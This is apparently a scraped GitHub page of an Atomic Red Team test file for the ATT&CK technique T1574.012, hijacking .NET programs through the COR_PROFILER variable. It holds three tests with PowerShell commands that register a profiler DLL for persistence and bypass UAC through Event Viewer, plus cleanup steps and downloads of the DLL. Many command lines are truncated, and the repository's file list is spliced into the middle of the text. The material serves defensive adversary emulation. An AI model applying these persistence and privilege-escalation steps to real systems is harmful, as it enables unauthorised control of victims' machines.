T1574.012 - COR_PROFILER

Description from ATT&CK

> Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
> The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
>
> Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

Atomic Tests

- Atomic Test #1 - User scope COR_PROFILER
- Atomic Test #2 - System Scope COR_PROFILER
- Atomic Test #3 - Registry-free process scope COR_PROFILER

Atomic Test #1 - User scope COR_PROFILER

Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER). The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: Windows

auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a

Inputs:

Name	Description	Type	Default Value
file_name	unmanaged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x6
clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with `powershell`!

```
Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsi
New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer3
New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -P
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyT
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Prop
Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
START MMC.EXE EVENTVWR.MSC
```

Cleanup Commands:

```
Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING"
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -F
```

Dependencies: Run with `powershell`!

Description: #{file_name} must be present

Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore |
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Atomic Test #2 - System Scope COR_PROFILER

Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: Windows

auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310

Inputs:

Name	Description	Type	Default Value
file_name	unmanaged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x6
clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Write-Host "Creating system environment variables" -ForegroundColor Cyan
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session M
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session M
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session M
```

Cleanup Commands:

```
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Sessio
```

Files

f339e7d

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006

atomic-red-team / atomics / T1574.012 / T1574.012.md

Top

Preview Code Blame 202 lines (128 loc) · 9.2 KB

Raw

Description: #{file_name} must be present

Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore |
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Atomic Test #3 - Registry-free process scope COR_PROFILER

Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: Windows

auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817

Inputs:

Name	Description	Type	Default Value
file_name	unamanged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x6

- T1021.006
- T1027.001
- T1027.002
- T1027.004
- T1027
- T1030
- T1033
- T1036.003
- T1036.004
- T1036.005
- T1036.006
- T1036
- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with `powershell`!

```
$env:COR_ENABLE_PROFILING = 1
$env:COR_PROFILER = '#{clsid_guid}'
$env:COR_PROFILER_PATH = '#{file_name}'
POWERSHELL -c 'Start-Sleep 1'
```

Cleanup Commands:

```
$env:COR_ENABLE_PROFILING = 0
$env:COR_PROFILER = ''
$env:COR_PROFILER_PATH = ''
```

Dependencies: Run with `powershell`!

Description: #{file_name} must be present

Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore |
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```